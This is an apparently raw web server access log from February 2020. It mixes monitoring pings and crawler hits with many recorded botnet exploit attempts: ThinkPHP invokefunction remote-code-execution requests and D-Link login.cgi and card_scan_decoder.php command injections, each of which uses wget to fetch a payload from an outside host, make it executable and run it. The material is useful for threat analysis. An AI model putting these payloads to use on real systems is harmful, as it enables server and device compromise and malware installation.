42.119.59.198 - - [05/Feb/2020:23:20:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:23:20:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:23:21:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:23:22:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:23:23:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.174.95.106 - - [05/Feb/2020:23:23:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
93.174.95.106 - - [05/Feb/2020:23:23:55 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "-"
92.118.160.49 - - [05/Feb/2020:23:24:38 +0100] "GET / HTTP/1.0" 200 1229 "-" "NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com"
212.91.246.72 - - [05/Feb/2020:23:24:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.130.21.230 - - [05/Feb/2020:23:25:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:23:25:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.100.12.210 - - [05/Feb/2020:23:26:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [05/Feb/2020:23:26:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.22.132.99 - - [05/Feb/2020:23:27:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:23:27:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:23:28:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
116.104.89.112 - - [05/Feb/2020:23:28:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:23:29:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:23:30:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.252.110 - - [05/Feb/2020:23:31:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:23:31:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:23:32:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
132.232.94.184 - - [05/Feb/2020:23:33:45 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
132.232.94.184 - - [05/Feb/2020:23:33:45 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
132.232.94.184 - - [05/Feb/2020:23:33:46 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
132.232.94.184 - - [05/Feb/2020:23:33:46 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
132.232.94.184 - - [05/Feb/2020:23:33:47 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
132.232.94.184 - - [05/Feb/2020:23:33:47 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
132.232.94.184 - - [05/Feb/2020:23:33:48 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
132.232.94.184 - - [05/Feb/2020:23:33:48 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
132.232.94.184 - - [05/Feb/2020:23:33:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [05/Feb/2020:23:33:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:23:34:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:23:35:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.127.25.46 - - [05/Feb/2020:23:36:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
181.127.25.46 - - [05/Feb/2020:23:36:26 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
5.251.151.209 - - [05/Feb/2020:23:36:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:23:36:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:23:37:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:23:38:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:23:39:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:23:40:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.235.209.89 - - [05/Feb/2020:23:40:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:23:41:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.135.38.185 - - [05/Feb/2020:23:42:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [05/Feb/2020:23:42:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:23:43:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.239.214.15 - - [05/Feb/2020:23:44:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
178.239.214.15 - - [05/Feb/2020:23:44:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [05/Feb/2020:23:44:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:23:45:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.44 - - [05/Feb/2020:23:46:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.52.40.188 - - [05/Feb/2020:23:46:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
91.232.159.155 - - [05/Feb/2020:23:46:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:23:46:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
82.189.198.34 - - [05/Feb/2020:23:47:41 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 341 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
212.91.246.72 - - [05/Feb/2020:23:47:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.235.209.89 - - [05/Feb/2020:23:48:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:23:48:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:23:49:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.107.83 - - [05/Feb/2020:23:50:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:23:50:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
182.191.88.186 - - [05/Feb/2020:23:51:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:23:51:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:23:52:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:23:53:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:23:54:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.4.150 - - [05/Feb/2020:23:55:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.187.29.246 - - [05/Feb/2020:23:55:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:23:55:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.130.149.61 - - [05/Feb/2020:23:55:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
149.12.217.235 - - [05/Feb/2020:23:56:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:23:56:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:23:57:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:23:58:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.154.64.227 - - [05/Feb/2020:23:59:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.89.199 - - [05/Feb/2020:23:59:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:23:59:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.42 - - [05/Feb/2020:23:59:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
37.6.174.190 - - [06/Feb/2020:00:00:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
188.138.75.107 - - [06/Feb/2020:00:00:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [06/Feb/2020:00:00:09 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [06/Feb/2020:00:00:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [06/Feb/2020:00:00:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
185.32.66.43 - - [06/Feb/2020:00:02:05 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
2.134.193.54 - - [06/Feb/2020:00:06:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
188.130.149.61 - - [06/Feb/2020:00:09:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
49.235.25.147 - - [06/Feb/2020:00:13:50 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.235.25.147 - - [06/Feb/2020:00:13:51 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.235.25.147 - - [06/Feb/2020:00:13:51 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.235.25.147 - - [06/Feb/2020:00:13:52 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.235.25.147 - - [06/Feb/2020:00:13:52 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.235.25.147 - - [06/Feb/2020:00:13:52 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.235.25.147 - - [06/Feb/2020:00:13:53 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.235.25.147 - - [06/Feb/2020:00:13:53 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.235.25.147 - - [06/Feb/2020:00:13:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
121.164.35.72 - - [06/Feb/2020:00:14:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [06/Feb/2020:00:14:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [06/Feb/2020:00:14:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [06/Feb/2020:00:14:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [06/Feb/2020:00:15:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
113.22.43.206 - - [06/Feb/2020:00:16:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
88.135.42.25 - - [06/Feb/2020:00:16:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
103.43.4.165 - - [06/Feb/2020:00:21:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
46.150.77.154 - - [06/Feb/2020:00:24:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
42.117.20.49 - - [06/Feb/2020:00:27:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
188.210.141.142 - - [06/Feb/2020:00:29:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
64.246.178.34 - - [06/Feb/2020:00:30:29 +0100] "GET /robots.txt HTTP/1.0" 404 315 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:59.0) Gecko/20100101 Firefox/59.0"
64.246.178.34 - - [06/Feb/2020:00:30:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:59.0) Gecko/20100101 Firefox/59.0"
2.192.3.37 - - [06/Feb/2020:00:30:51 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
183.80.89.199 - - [06/Feb/2020:00:31:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.141.139.61 - - [06/Feb/2020:00:32:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
31.40.98.210 - - [06/Feb/2020:00:33:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
179.43.169.182 - - [06/Feb/2020:00:34:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux i686; rv:10.0) Gecko/20100101 Firefox/10.0"
176.114.224.102 - - [06/Feb/2020:00:34:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.119.33.22 - - [06/Feb/2020:00:36:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
27.216.245.215 - - [06/Feb/2020:00:42:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
42.119.136.158 - - [06/Feb/2020:00:45:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
109.117.198.174 - - [06/Feb/2020:00:46:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
